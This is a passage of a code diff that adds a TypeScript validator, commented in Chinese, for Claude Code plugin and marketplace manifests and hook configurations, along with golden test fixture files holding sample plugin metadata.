分组允许出现的字段。 */ +const HOOK_GROUP_FIELDS = new Set(['matcher', 'hooks']); + +/** Claude Code 当前公开的 Handler 类型。 */ +const HOOK_HANDLER_TYPES = new Set(['command', 'prompt', 'agent', 'http', 'mcp_tool']); + +/** Claude Code 明确允许五类 Handler 的事件。 */ +const HOOK_EVENTS_WITH_ALL_HANDLER_TYPES = new Set([ + 'PermissionDenied', 'PermissionRequest', 'PostToolBatch', 'PostToolUse', 'PostToolUseFailure', + 'PreToolUse', 'Stop', 'SubagentStop', 'TaskCompleted', 'TaskCreated', 'TeammateIdle', + 'UserPromptExpansion', 'UserPromptSubmit', +]); + +/** Claude Code 允许 command/http/mcp_tool、但不允许 prompt/agent 的事件。 */ +const HOOK_EVENTS_WITH_COMMAND_HTTP_MCP_TYPES = new Set([ + 'ConfigChange', 'CwdChanged', 'DirectoryAdded', 'Elicitation', 'ElicitationResult', 'FileChanged', + 'InstructionsLoaded', 'Notification', 'PostCompact', 'PreCompact', 'SessionEnd', 'StopFailure', + 'SubagentStart', 'WorktreeCreate', 'WorktreeRemove', +]); + +/** Claude Code 只允许 command 和 mcp_tool 的启动类事件。 */ +const HOOK_EVENTS_WITH_COMMAND_MCP_TYPES = new Set(['SessionStart', 'Setup']); + +/** 非 prompt/agent 事件共同使用的三类 Handler。 */ +const HOOK_HANDLER_COMMAND_HTTP_MCP_TYPES = new Set(['command', 'http', 'mcp_tool']); + +/** 启动类事件共同使用的两类 Handler。 */ +const HOOK_HANDLER_COMMAND_MCP_TYPES = new Set(['command', 'mcp_tool']); + +/** 未出现在官方类型矩阵中的事件使用最保守 command 契约。 */ +const HOOK_HANDLER_COMMAND_ONLY = new Set(['command']); + +/** 所有 Claude Code Handler 类型共同允许出现的执行字段。 */ +const HOOK_HANDLER_COMMON_FIELDS = ['type', 'if', 'timeout', 'statusMessage', 'once'] as const; + +/** 不同 Claude Code Handler 类型允许出现的字段。 */ +const HOOK_HANDLER_FIELDS: Readonly>> = Object.freeze({ + command: new Set([...HOOK_HANDLER_COMMON_FIELDS, 'command', 'args', 'async', 'asyncRewake', 'shell']), + prompt: new Set([...HOOK_HANDLER_COMMON_FIELDS, 'prompt', 'model']), + agent: new Set([...HOOK_HANDLER_COMMON_FIELDS, 'prompt', 'model']), + http: new Set([...HOOK_HANDLER_COMMON_FIELDS, 'url', 'headers', 'allowedEnvVars']), + mcp_tool: new Set([...HOOK_HANDLER_COMMON_FIELDS, 'server', 'tool', 'input']), +}); + +/** 多 Plugin Marketplace 的本地来源必须使用稳定单元目录。 */ +const MARKETPLACE_PLUGIN_SOURCE_PATTERN = /^\.\/plugins\/[a-z0-9]+(?:-[a-z0-9]+)*$/; + +/** Claude Code Marketplace 根清单允许出现的官方字段。 */ +const MARKETPLACE_FIELDS = new Set(['name', 'owner', 'description', 'version', 'metadata', 'plugins']); + +/** Claude Code Marketplace 每个 Plugin 条目允许出现的官方字段。 */ +const MARKETPLACE_PLUGIN_FIELDS = new Set([ + 'name', 'source', 'description', 'version', 'author', 'homepage', 'repository', 'license', 'keywords', + 'category', 'tags', 'strict', +]); + +/** JSON 对象的运行时只读索引类型。 */ +type JsonRecord = Record; + +/** + * 判断未知值是否为非数组 JSON 对象。 + * + * @param value 从候选清单解析的未知 JSON 值。 + * @returns 可以按字段读取时返回 true。 + */ +function isRecord(value: unknown): value is JsonRecord { + return value !== null && typeof value === 'object' && !Array.isArray(value); +} + +/** + * 向 Core 提交 Claude Code 候选校验错误。 + * + * @param context Platform validateBundle 生命周期上下文。 + * @param code 稳定诊断码。 + * @param message 不包含宿主绝对路径的错误信息。 + * @param fieldPath 可选的清单字段路径。 + */ +function report( + context: PlatformValidateContext, + code: string, + message: string, + fieldPath?: readonly (string | number)[], +): void { + context.reportDiagnostic({ + code, + severity: 'error', + message, + ...(fieldPath === undefined ? {} : { fieldPath }), + }); +} + +/** + * 从候选安装根读取并解析 JSON 文件。 + * + * @param context Platform validateBundle 生命周期上下文。 + * @param artifactPath 候选根内的规范 Artifact 路径。 + * @returns JSON 对象;缺失或格式错误时提交诊断并返回 undefined。 + */ +async function readJson( + context: PlatformValidateContext, + artifactPath: string, +): Promise { + try { + /** 从已由 Core 安全物化的候选根读取清单文本。 */ + const source = await fs.readFile(path.join(context.candidate.root, artifactPath), 'utf8'); + /** JSON.parse 返回的未知值必须继续验证顶层对象形态。 */ + const value: unknown = JSON.parse(source); + if (!isRecord(value)) { + report(context, 'CLAUDE_MANIFEST_OBJECT_REQUIRED', `${artifactPath} must contain a JSON object.`); + return undefined; + } + return value; + } catch { + report(context, 'CLAUDE_MANIFEST_READ_FAILED', `${artifactPath} must be present and contain valid JSON.`); + return undefined; + } +} + +/** + * 判断清单路径引用是否严格位于当前 Plugin 安装根。 + * + * @param reference Claude Code 清单中的相对路径。 + * @returns 使用 `./`、不逃逸且不指向根本身时返回 true。 + */ +function isSafePluginReference(reference: string): boolean { + if (!reference.startsWith('./') || reference.includes('\\') || reference.includes('\0')) + return false; + /** 去除协议要求的 `./` 后执行 POSIX 规范化。 */ + const relative = reference.slice(2); + /** 规范化后的路径用于拒绝空路径、绝对路径和父目录逃逸。 */ + const normalized = path.posix.normalize(relative); + return relative.length > 0 + && normalized !== '.' + && normalized !== '..' + && !normalized.startsWith('../') + && !path.posix.isAbsolute(normalized); +} + +/** + * 判断候选 Artifact 集合是否满足文件或目录引用。 + * + * @param artifacts 当前 DeliveryUnit 的全部规范 Artifact 路径。 + * @param reference 已通过安全规则校验的 Claude Code 路径引用。 + * @returns 精确文件或目录前缀至少匹配一个 Artifact 时返回 true。 + */ +function referenceExists(artifacts: ReadonlySet, reference: string): boolean { + /** 清单引用去除固定 `./` 后的 Artifact 路径。 */ + const target = reference.slice(2).replace(/\/+$/u, ''); + if (artifacts.has(target)) + return true; + for (const artifact of artifacts) { + if (artifact.startsWith(`${target}/`)) + return true; + } + return false; +} + +/** + * 校验 Claude Code Hook matcher 是可执行的正则字符串。 + * + * @param context Platform validateBundle 生命周期上下文。 + * @param value matcher 候选值。 + * @param fieldPath matcher 在最终 Hook 配置中的字段路径。 + */ +function validateHookMatcher( + context: PlatformValidateContext, + value: JsonValue, + fieldPath: readonly (string | number)[], +): void { + if (typeof value !== 'string') { + report(context, 'CLAUDE_HOOK_MATCHER_INVALID', 'Hook matcher must be a regular-expression string.', fieldPath); + return; + } + try { + /** 构造正则只用于验证平台将要解析的表达式语法。 */ + const expression = new RegExp(value); + void expression; + } catch { + report(context, 'CLAUDE_HOOK_MATCHER_INVALID', 'Hook matcher must be a valid regular expression.', fieldPath); + } +} + +/** + * 校验 Claude Code Hook Handler 的类型、必填字段和公共执行选项。 + * + * @param context Platform validateBundle 生命周期上下文。 + * @param event 当前 Handler 所属事件。 + * @param value Handler 候选值。 + * @param fieldPath Handler 在最终 Hook 配置中的字段路径。 + */ +function validateHookHandler( + context: PlatformValidateContext, + event: string, + value: JsonValue, + fieldPath: readonly (string | number)[], +): void { + if (!isRecord(value)) { + report(context, 'CLAUDE_HOOK_HANDLER_INVALID', 'Hook handlers must be JSON objects.', fieldPath); + return; + } + /** 已完成对象检查的 Handler 类型候选。 */ + const type = value.type; + if (typeof type !== 'string' || !HOOK_HANDLER_TYPES.has(type)) { + report(context, 'CLAUDE_HOOK_HANDLER_TYPE_INVALID', 'Hook handler type is not supported by Claude Code.', [...fieldPath, 'type']); + return; + } + /** 当前事件由官方矩阵允许的 Handler 类型集合;其余事件只接受 command。 */ + const allowedTypes = HOOK_EVENTS_WITH_ALL_HANDLER_TYPES.has(event) + ? HOOK_HANDLER_TYPES + : HOOK_EVENTS_WITH_COMMAND_HTTP_MCP_TYPES.has(event) + ? HOOK_HANDLER_COMMAND_HTTP_MCP_TYPES + : HOOK_EVENTS_WITH_COMMAND_MCP_TYPES.has(event) + ? HOOK_HANDLER_COMMAND_MCP_TYPES + : HOOK_HANDLER_COMMAND_ONLY; + if (!allowedTypes.has(type)) { + report( + context, + 'CLAUDE_HOOK_HANDLER_EVENT_UNSUPPORTED', + `${type} Hook handlers are not supported for Claude Code event "${event}".`, + [...fieldPath, 'type'], + ); + } + /** 当前 Handler 类型对应的官方字段集合。 */ + const fields = HOOK_HANDLER_FIELDS[type]!; + for (const field of Object.keys(value)) { + if (!fields.has(field)) + report(context, 'CLAUDE_HOOK_HANDLER_FIELD_UNKNOWN', `Unknown Claude Code ${type} Hook field "${field}".`, [...fieldPath, field]); + } + /** 当前 Handler 类型要求提供的全部非空字符串目标字段。 */ + const requiredFields = type === 'command' + ? ['command'] + : type === 'http' + ? ['url'] + : type === 'mcp_tool' + ? ['server', 'tool'] + : ['prompt']; + /** requiredField 表示当前类型的一个必填目标字段。 */ + for (const requiredField of requiredFields) { + if (typeof value[requiredField] !== 'string' || value[requiredField].trim().length === 0) { + report(context, 'CLAUDE_HOOK_HANDLER_TARGET_INVALID', `${type} Hook ${requiredField} must be a non-empty string.`, [...fieldPath, requiredField]); + } + } + if (value.args !== undefined + && (!Array.isArray(value.args) || value.args.some(argument => typeof argument !== 'string'))) { + report(context, 'CLAUDE_HOOK_HANDLER_ARGS_INVALID', 'command Hook args must contain only strings.', [...fieldPath, 'args']); + } + if (value.timeout !== undefined + && (typeof value.timeout !== 'number' || !Number.isFinite(value.timeout) || value.timeout <= 0)) { + report(context, 'CLAUDE_HOOK_TIMEOUT_INVALID', 'Hook timeout must be a positive finite number of seconds.', [...fieldPath, 'timeout']); + } else if (event === 'SessionEnd' && typeof value.timeout === 'number' && value.timeout > 60) { + report(context, 'CLAUDE_HOOK_TIMEOUT_LIMIT', 'SessionEnd Hook timeout must not exceed 60 seconds.', [...fieldPath, 'timeout']); + } + if (value.statusMessage !== undefined + && (typeof value.statusMessage !== 'string' || value.statusMessage.trim().length === 0)) { + report(context, 'CLAUDE_HOOK_STATUS_INVALID', 'Hook statusMessage must be a non-empty string.', [...fieldPath, 'statusMessage']); + } + if (value.if !== undefined && (typeof value.if !== 'string' || value.if.trim().length === 0)) + report(context, 'CLAUDE_HOOK_IF_INVALID', 'Hook if must be a non-empty permission rule.', [...fieldPath, 'if']); + if (value.async !== undefined && typeof value.async !== 'boolean') + report(context, 'CLAUDE_HOOK_ASYNC_INVALID', 'command Hook async must be a boolean.', [...fieldPath, 'async']); + if (value.asyncRewake !== undefined && typeof value.asyncRewake !== 'boolean') + report(context, 'CLAUDE_HOOK_ASYNC_REWAKE_INVALID', 'command Hook asyncRewake must be a boolean.', [...fieldPath, 'asyncRewake']); + if (value.once !== undefined && typeof value.once !== 'boolean') + report(context, 'CLAUDE_HOOK_ONCE_INVALID', 'Hook once must be a boolean.', [...fieldPath, 'once']); + if (value.shell !== undefined && value.shell !== 'bash' && value.shell !== 'powershell') + report(context, 'CLAUDE_HOOK_SHELL_INVALID', 'command Hook shell must be bash or powershell.', [...fieldPath, 'shell']); + if (value.model !== undefined && (typeof value.model !== 'string' || value.model.trim().length === 0)) + report(context, 'CLAUDE_HOOK_MODEL_INVALID', 'prompt or agent Hook model must be a non-empty string.', [...fieldPath, 'model']); + if (value.url !== undefined && typeof value.url === 'string') { + try { + /** HTTP Hook 地址允许官方支持的 HTTP(S),但拒绝内联凭据。 */ + const url = new URL(value.url); + if ((url.protocol !== 'http:' && url.protocol !== 'https:') || url.username !== '' || url.password !== '') + throw new TypeError('Unsafe HTTP Hook URL.'); + } catch { + report(context, 'CLAUDE_HOOK_URL_INVALID', 'HTTP Hook url must be an HTTP(S) URL without credentials.', [...fieldPath, 'url']); + } + } + if (value.headers !== undefined + && (!isRecord(value.headers) || Object.values(value.headers).some(header => typeof header !== 'string'))) { + report(context, 'CLAUDE_HOOK_HEADERS_INVALID', 'HTTP Hook headers must map names to string values.', [...fieldPath, 'headers']); + } + if (value.allowedEnvVars !== undefined + && (!Array.isArray(value.allowedEnvVars) + || value.allowedEnvVars.some(variable => typeof variable !== 'string' || variable.trim().length === 0))) { + report(context, 'CLAUDE_HOOK_ENV_INVALID', 'HTTP Hook allowedEnvVars must contain non-empty strings.', [...fieldPath, 'allowedEnvVars']); + } + if (value.input !== undefined && !isRecord(value.input)) + report(context, 'CLAUDE_HOOK_MCP_INPUT_INVALID', 'mcp_tool Hook input must be a JSON object.', [...fieldPath, 'input']); +} + +/** + * 校验 Claude Code Hook 事件映射及其 matcher 分组。 + * + * @param context Platform validateBundle 生命周期上下文。 + * @param value `hooks` 字段中的事件映射候选。 + * @param fieldPath 事件映射在最终配置中的字段路径。 + */ +function validateHookEvents( + context: PlatformValidateContext, + value: JsonValue, + fieldPath: readonly (string | number)[], +): void { + if (!isRecord(value)) { + report(context, 'CLAUDE_HOOK_EVENTS_INVALID', 'hooks must contain an event mapping.', fieldPath); + return; + } + /** [event, groups] 表示当前遍历的原生事件和 matcher 分组。 */ + for (const [event, groups] of Object.entries(value)) { + /** 当前事件在最终配置中的稳定字段路径。 */ + const eventPath = [...fieldPath, event]; + if (!HOOK_EVENTS.has(event)) { + report(context, 'CLAUDE_HOOK_EVENT_UNKNOWN', `Unknown Claude Code Hook event "${event}".`, eventPath); + continue; + } + if (!Array.isArray(groups) || groups.length === 0) { + report(context, 'CLAUDE_HOOK_GROUPS_INVALID', 'Each Hook event must contain one or more matcher groups.', eventPath); + continue; + } + /** [groupIndex, groupValue] 表示当前事件中的 matcher 分组。 */ + for (const [groupIndex, groupValue] of groups.entries()) { + /** 当前 matcher 分组的稳定字段路径。 */ + const groupPath = [...eventPath, groupIndex]; + if (!isRecord(groupValue)) { + report(context, 'CLAUDE_HOOK_GROUP_INVALID', 'Hook matcher groups must be JSON objects.', groupPath); + continue; + } + for (const field of Object.keys(groupValue)) { + if (!HOOK_GROUP_FIELDS.has(field)) + report(context, 'CLAUDE_HOOK_GROUP_FIELD_UNKNOWN', `Unknown Claude Code Hook group field "${field}".`, [...groupPath, field]); + } + if (groupValue.matcher !== undefined) + validateHookMatcher(context, groupValue.matcher, [...groupPath, 'matcher']); + if (!Array.isArray(groupValue.hooks) || groupValue.hooks.length === 0) { + report(context, 'CLAUDE_HOOK_HANDLERS_INVALID', 'Hook matcher groups must contain one or more handlers.', [...groupPath, 'hooks']); + continue; + } + /** [handlerIndex, handler] 表示当前 matcher 分组中的 Handler。 */ + for (const [handlerIndex, handler] of groupValue.hooks.entries()) + validateHookHandler(context, event, handler, [...groupPath, 'hooks', handlerIndex]); + } + } +} + +/** + * 校验 Claude Code `hooks.json` 顶层结构。 + * + * @param context Platform validateBundle 生命周期上下文。 + * @param value 已解析的 Hook 配置对象。 + * @param fieldPath 配置在 Plugin Manifest 中的字段路径。 + * @param wrapped 是否要求配置使用 `hooks.json` 顶层包装。 + */ +function validateHookConfig( + context: PlatformValidateContext, + value: JsonRecord, + fieldPath: readonly (string | number)[], + wrapped: boolean, +): void { + if (!wrapped && value.hooks === undefined && value.description === undefined) { + validateHookEvents(context, value, fieldPath); + return; + } + for (const field of Object.keys(value)) { + if (!HOOK_CONFIG_FIELDS.has(field)) + report(context, 'CLAUDE_HOOK_CONFIG_FIELD_UNKNOWN', `Unknown Claude Code Hook config field "${field}".`, [...fieldPath, field]); + } + if (value.description !== undefined + && (typeof value.description !== 'string' || value.description.trim().length === 0)) { + report(context, 'CLAUDE_HOOK_DESCRIPTION_INVALID', 'Hook config description must be a non-empty string.', [...fieldPath, 'description']); + } + if (value.hooks === undefined) { + report(context, 'CLAUDE_HOOKS_REQUIRED', 'Hook config must contain a hooks event mapping.', [...fieldPath, 'hooks']); + return; + } + validateHookEvents(context, value.hooks, [...fieldPath, 'hooks']); +} + +/** + * 读取并校验 Plugin 根内被引用的 Claude Code `hooks.json`。 + * + * @param context Platform validateBundle 生命周期上下文。 + * @param pluginRoot Plugin 相对于候选 Distribution 根的安装目录。 + * @param reference 已通过安装根路径规则的 Hook 配置引用。 + * @param fieldPath 引用在 Plugin Manifest 中的字段路径。 + */ +async function validateHookFile( + context: PlatformValidateContext, + pluginRoot: string, + reference: string, + fieldPath: readonly (string | number)[], +): Promise { + try { + /** Hook 配置引用相对于当前 Plugin 根解析后的绝对候选路径。 */ + const hookPath = path.join(context.candidate.root, pluginRoot, reference.slice(2)); + /** JSON.parse 返回的未知配置值。 */ + const value: unknown = JSON.parse(await fs.readFile(hookPath, 'utf8')); + if (!isRecord(value)) { + report(context, 'CLAUDE_HOOK_CONFIG_OBJECT_REQUIRED', 'Hook config must contain a JSON object.', fieldPath); + return; + } + validateHookConfig(context, value, fieldPath, true); + } catch { + report(context, 'CLAUDE_HOOK_CONFIG_READ_FAILED', 'Hook config reference must contain valid JSON.', fieldPath); + } +} + +/** + * 把 Distribution 中某个 Plugin 子树转换为安装根相对 Artifact 集合。 + * + * @param context Platform validateBundle 生命周期上下文。 + * @param pluginRoot Plugin 相对于 Distribution 根的无前导点路径。 + * @returns 去掉 Plugin 根前缀后的 Artifact 路径集合。 + */ +function scopedArtifacts(context: PlatformValidateContext, pluginRoot: string): ReadonlySet { + /** 根 Plugin 不需要过滤或裁剪路径。 */ + if (pluginRoot === '') + return new Set(context.candidate.unit.artifacts.map(artifact => artifact.path)); + /** 嵌套 Plugin 全部 Artifact 共同使用的固定目录前缀。 */ + const prefix = `${pluginRoot}/`; + return new Set(context.candidate.unit.artifacts + .filter(artifact => artifact.path.startsWith(prefix)) + .map(artifact => artifact.path.slice(prefix.length))); +} + +/** + * 校验一个清单引用值的类型、安全性和安装根内存在性。 + * + * @param context Platform validateBundle 生命周期上下文。 + * @param artifacts 当前 DeliveryUnit 的 Artifact 路径集合。 + * @param field 当前引用所属的清单字段。 + * @param value 单路径或路径数组候选。 + */ +function validateReferences( + context: PlatformValidateContext, + artifacts: ReadonlySet, + field: string, + value: JsonValue, +): void { + /** 统一转换后的引用列表,保持清单声明顺序。 */ + const references = typeof value === 'string' + ? [value] + : Array.isArray(value) && value.every(item => typeof item === 'string') + ? value as readonly string[] + : undefined; + if (references === undefined || references.length === 0) { + report(context, 'CLAUDE_MANIFEST_REFERENCE_INVALID', `${field} must be a path or non-empty path array.`, [field]); + return; + } + for (const [index, reference] of references.entries()) { + /** 当前引用在单值或数组字段中的诊断位置。 */ + const fieldPath: readonly (string | number)[] = references.length === 1 ? [field] : [field, index]; + if (!isSafePluginReference(reference)) { + report(context, 'CLAUDE_MANIFEST_REFERENCE_UNSAFE', `${field} references must start with ./ and stay inside the Plugin root.`, fieldPath); + } else if (!referenceExists(artifacts, reference)) { + report(context, 'CLAUDE_MANIFEST_REFERENCE_MISSING', `${field} references a missing Plugin file or directory.`, fieldPath); + } + } +} + +/** + * 校验 Claude Code Plugin 清单字段、Component 目录和 Extension 引用。 + * + * @param context Platform validateBundle 生命周期上下文。 + * @param manifest 已解析的 Plugin 清单对象。 + * @param pluginRoot Plugin 相对于候选 Distribution 根的安装目录。 + */ +async function validatePluginManifest( + context: PlatformValidateContext, + manifest: JsonRecord, + pluginRoot = '', +): Promise { + /** 当前 Plugin 安装根内的相对 Artifact 路径集合。 */ + const artifacts = scopedArtifacts(context, pluginRoot); + for (const field of Object.keys(manifest)) { + if (!PLUGIN_FIELDS.has(field)) + report(context, 'CLAUDE_MANIFEST_FIELD_UNKNOWN', `Unknown Claude Code Plugin field "${field}".`, [field]); + } + /** 必填字符串字段及其期望的非空值。 */ + const required = ['name', 'version', 'description'] as const; + for (const field of required) { + if (typeof manifest[field] !== 'string' || manifest[field].trim().length === 0) + report(context, 'CLAUDE_MANIFEST_FIELD_REQUIRED', `${field} must be a non-empty string.`, [field]); + } + if (typeof manifest.name === 'string' && !PLUGIN_NAME_PATTERN.test(manifest.name)) + report(context, 'CLAUDE_MANIFEST_NAME_INVALID', 'name must use lowercase kebab-case.', ['name']); + /** 可选字符串元数据必须保持非空字符串形态。 */ + const optionalStrings = ['displayName', 'homepage', 'repository', 'license'] as const; + for (const field of optionalStrings) { + if (manifest[field] !== undefined && (typeof manifest[field] !== 'string' || manifest[field].trim().length === 0)) + report(context, 'CLAUDE_MANIFEST_METADATA_INVALID', `${field} must be a non-empty string.`, [field]); + } + if (manifest.author !== undefined) { + /** Plugin 清单中经过对象形态检查的作者字段。 */ + const author = isRecord(manifest.author) ? manifest.author : undefined; + if (author === undefined || typeof author.name !== 'string' || author.name.trim().length === 0) { + report(context, 'CLAUDE_MANIFEST_AUTHOR_INVALID', 'author.name must be a non-empty string.', ['author', 'name']); + } else { + /** author 的可选联系字段只能是非空字符串。 */ + const authorFields = ['email', 'url'] as const; + for (const field of authorFields) { + if (author[field] !== undefined && (typeof author[field] !== 'string' || author[field].trim().length === 0)) + report(context, 'CLAUDE_MANIFEST_AUTHOR_INVALID', `author.${field} must be a non-empty string.`, ['author', field]); + } + } + } + if (manifest.keywords !== undefined + && (!Array.isArray(manifest.keywords) + || manifest.keywords.some(keyword => typeof keyword !== 'string' || keyword.trim().length === 0) + || new Set(manifest.keywords).size !== manifest.keywords.length)) { + report(context, 'CLAUDE_MANIFEST_KEYWORDS_INVALID', 'keywords must contain unique non-empty strings.', ['keywords']); + } + if (manifest.defaultEnabled !== undefined && typeof manifest.defaultEnabled !== 'boolean') + report(context, 'CLAUDE_MANIFEST_DEFAULT_INVALID', 'defaultEnabled must be a boolean.', ['defaultEnabled']); + for (const field of COMPONENT_REFERENCE_FIELDS) { + if (manifest[field] !== undefined) + validateReferences(context, artifacts, field, manifest[field]); + } + for (const field of EXTENSION_REFERENCE_FIELDS) { + /** 当前 Extension 添加的清单字段值。 */ + const value = manifest[field]; + if (value === undefined) + continue; + if (typeof value === 'string') { + validateReferences(context, artifacts, field, value); + if (field === 'hooks' && isSafePluginReference(value) && referenceExists(artifacts, value)) + await validateHookFile(context, pluginRoot, value, [field]); + } else if (!isRecord(value)) { + report(context, 'CLAUDE_EXTENSION_FIELD_INVALID', `${field} must be a Plugin path or inline object.`, [field]); + } else if (field === 'hooks') { + validateHookConfig(context, value, [field], false); + } + } + if (manifest.hooks === undefined && artifacts.has('hooks/hooks.json')) + await validateHookFile(context, pluginRoot, './hooks/hooks.json', ['hooks']); +} + +/** + * 校验 Marketplace 根清单与自包含 Plugin 的身份和引用。 + * + * @param context Platform validateBundle 生命周期上下文。 + * @param marketplace 已解析的 Marketplace 清单。 + */ +async function validateMarketplace( + context: PlatformValidateContext, + marketplace: JsonRecord, +): Promise { + for (const field of Object.keys(marketplace)) { + if (!MARKETPLACE_FIELDS.has(field)) + report(context, 'CLAUDE_MARKETPLACE_FIELD_UNKNOWN', `Unknown Claude Code Marketplace field "${field}".`, [field]); + } + if (typeof marketplace.name !== 'string' || marketplace.name.trim().length === 0) + report(context, 'CLAUDE_MARKETPLACE_NAME_REQUIRED', 'Marketplace name must be a non-empty string.', ['name']); + if (!isRecord(marketplace.owner) || typeof marketplace.owner.name !== 'string' || marketplace.owner.name.trim().length === 0) { + report(context, 'CLAUDE_MARKETPLACE_OWNER_REQUIRED', 'Marketplace owner.name must be present.', ['owner', 'name']); + } else { + /** Marketplace owner 可选联系方式字段。 */ + const ownerFields = ['email', 'url'] as const; + for (const field of ownerFields) { + if (marketplace.owner[field] !== undefined + && (typeof marketplace.owner[field] !== 'string' || marketplace.owner[field].trim().length === 0)) { + report(context, 'CLAUDE_MARKETPLACE_OWNER_INVALID', `Marketplace owner.${field} must be a non-empty string.`, ['owner', field]); + } + } + } + if (typeof marketplace.description !== 'string' || marketplace.description.trim().length === 0) + report(context, 'CLAUDE_MARKETPLACE_DESCRIPTION_REQUIRED', 'Marketplace description must be a non-empty string.', ['description']); + if (typeof marketplace.version !== 'string' || marketplace.version.trim().length === 0) + report(context, 'CLAUDE_MARKETPLACE_VERSION_REQUIRED', 'Marketplace version must be a non-empty string.', ['version']); + if (!isRecord(marketplace.metadata) || marketplace.metadata.pluginRoot !== './') + report(context, 'CLAUDE_MARKETPLACE_ROOT_INVALID', 'Marketplace metadata.pluginRoot must be "./".', ['metadata', 'pluginRoot']); + if (!Array.isArray(marketplace.plugins) + || marketplace.plugins.length === 0 + || marketplace.plugins.some(entry => !isRecord(entry))) { + report(context, 'CLAUDE_MARKETPLACE_PLUGIN_REQUIRED', 'Marketplace must contain one or more Plugin entries.', ['plugins']); + return; + } + /** 已验证来源用于阻止两个条目指向同一 Plugin 根。 */ + const sources = new Set(); + /** 已验证名称用于阻止 Marketplace 内出现选择器歧义。 */ + const names = new Set(); + /** [index, entryValue] 表示当前 Marketplace Plugin 条目。 */ + for (const [index, entryValue] of marketplace.plugins.entries()) { + /** plugins 已经整体通过对象检查后的当前条目。 */ + const entry = entryValue as JsonRecord; + for (const field of Object.keys(entry)) { + if (!MARKETPLACE_PLUGIN_FIELDS.has(field)) + report(context, 'CLAUDE_MARKETPLACE_PLUGIN_FIELD_UNKNOWN', `Unknown Marketplace Plugin field "${field}".`, ['plugins', index, field]); + } + /** 当前条目声明的本地 Plugin 来源。 */ + const source = entry.source; + /** 单项保持兼容根布局,多项必须各自进入稳定 plugins 子目录。 */ + const sourceValid = typeof source === 'string' + && (marketplace.plugins.length === 1 ? source === './' : MARKETPLACE_PLUGIN_SOURCE_PATTERN.test(source)); + if (!sourceValid) { + report(context, 'CLAUDE_MARKETPLACE_SOURCE_INVALID', 'Single-Plugin source must be "./"; multi-Plugin sources must use "./plugins/".', ['plugins', index, 'source']); + continue; + } + if (sources.has(source)) + report(context, 'CLAUDE_MARKETPLACE_SOURCE_DUPLICATE', 'Marketplace Plugin sources must be unique.', ['plugins', index, 'source']); + sources.add(source); + /** `./` 对应 Distribution 根,其余来源去掉协议前缀后作为 Plugin 根。 */ + const pluginRoot = source === './' ? '' : source.slice(2); + /** 当前来源根内必须存在且可解析的 Claude Code Plugin Manifest。 */ + const plugin = await readJson(context, pluginRoot === '' ? PLUGIN_MANIFEST_PATH : `${pluginRoot}/${PLUGIN_MANIFEST_PATH}`); + if (plugin === undefined) + continue; + await validatePluginManifest(context, plugin, pluginRoot); + if (entry.name !== plugin.name || entry.version !== plugin.version || entry.description !== plugin.description) { + report(context, 'CLAUDE_MARKETPLACE_PLUGIN_MISMATCH', 'Marketplace Plugin metadata must match its bundled Plugin manifest.', ['plugins', index]); + } + if (typeof entry.name === 'string') { + /** Marketplace 名称使用平台选择器的大小写敏感规范值。 */ + const name = entry.name; + if (names.has(name)) + report(context, 'CLAUDE_MARKETPLACE_PLUGIN_DUPLICATE', 'Marketplace Plugin names must be unique.', ['plugins', index, 'name']); + names.add(name); + } + if (entry.strict !== true) + report(context, 'CLAUDE_MARKETPLACE_STRICT_REQUIRED', 'Self-contained Marketplace Plugins must use strict: true.', ['plugins', index, 'strict']); + // 当前单 Plugin 兼容布局继续要求 Marketplace 根元数据与唯一 Plugin 一致。 + if (marketplace.plugins.length === 1 + && (marketplace.description !== plugin.description || marketplace.version !== plugin.version)) { + report(context, 'CLAUDE_MARKETPLACE_METADATA_MISMATCH', 'Single-Plugin Marketplace description and version must match the bundled Plugin.', []); + } + } +} + +/** + * 验证 Claude Code 主 Plugin 或 Marketplace Distribution 的最终安装候选。 + * + * @param context Core 已安全物化的只读候选上下文。 + */ +export async function validateClaudeBundle(context: PlatformValidateContext): Promise { + if (context.candidate.unit.role !== 'distribution') { + /** 主单元始终使用安装根固定 Plugin Manifest。 */ + const plugin = await readJson(context, PLUGIN_MANIFEST_PATH); + if (plugin !== undefined) + await validatePluginManifest(context, plugin); + return; + } + /** Marketplace Distribution 额外需要的根清单。 */ + const marketplace = await readJson(context, MARKETPLACE_MANIFEST_PATH); + if (marketplace !== undefined) + await validateMarketplace(context, marketplace); +} diff --git a/packages/platforms/claude-code/test/golden/.claude-plugin/marketplace.json b/packages/platforms/claude-code/test/golden/.claude-plugin/marketplace.json new file mode 100644 index 0000000..8905ee7 --- /dev/null +++ b/packages/platforms/claude-code/test/golden/.claude-plugin/marketplace.json @@ -0,0 +1,34 @@ +{ + "description": "Release workflow tools.", + "metadata": { + "pluginRoot": "./" + }, + "name": "release-tools-marketplace", + "owner": { + "email": "maintainers@example.com", + "name": "TokenRoll", + "url": "https://github.com/TokenRollAI" + }, + "plugins": [ + { + "author": { + "email": "maintainers@example.com", + "name": "TokenRoll", + "url": "https://github.com/TokenRollAI" + }, + "description": "Release workflow tools.", + "homepage": "https://example.com/release-tools", + "keywords": [ + "release", + "review" + ], + "license": "MIT", + "name": "release-tools", + "repository": "https://github.com/TokenRollAI/release-tools", + "source": "./", + "strict": true, + "version": "1.2.3" + } + ], + "version": "1.2.3" +} diff --git a/packages/platforms/claude-code/test/golden/.claude-plugin/plugin.json b/packages/platforms/claude-code/test/golden/.claude-plugin/plugin.json new file mode 100644 index 0000000..2517fe1 --- /dev/null +++ b/packages/platforms/claude-code/test/golden/.claude-plugin/plugin.json @@ -0,0 +1,22 @@ +{ + "agents": "./agents/", + "author": { + "email": "maintainers@example.com", + "name": "TokenRoll", + "url": "https://github.com/TokenRollAI" + }, + "commands": "./commands/", + "defaultEnabled": false, + "description": "Release workflow tools.", + "displayName": "Release Tools", + "homepage": "https://example.com/release-tools", + "keywords": [ + "release", + "review" + ], + "license": "MIT", + "name": "release-tools", + "repository": "https://github.com/TokenRollAI/release-tools", + "skills": "./skills/", + "version": "1.2.3" +} diff --git a/packages/platforms/claude-code/test/golden/agents/reviewer.md b/packages/platforms/claude-code/test/golden/agents/reviewer.md new file mode 100644 index 0000000..3715e27 --- /dev/null +++ b/packages/platforms/claude-code/test/golden/agents/reviewer.md @@ -0,0 +1,15 @@ +--- +background: false +description: Review code changes. +disallowedTools: Write +effort: high +isolation: worktree +maxTurns: 8 +memory: project +model: sonnet +name: reviewer +skills: + - review +tools: Read, Grep +--- +Review code and report findings. diff --git a/packages/platforms/claude-code/test/golden/commands/release.md b/packages/platforms/claude-code/test/golden/commands/release.md new file mode 100644 index 0000000..2a65d18 --- /dev/null +++ 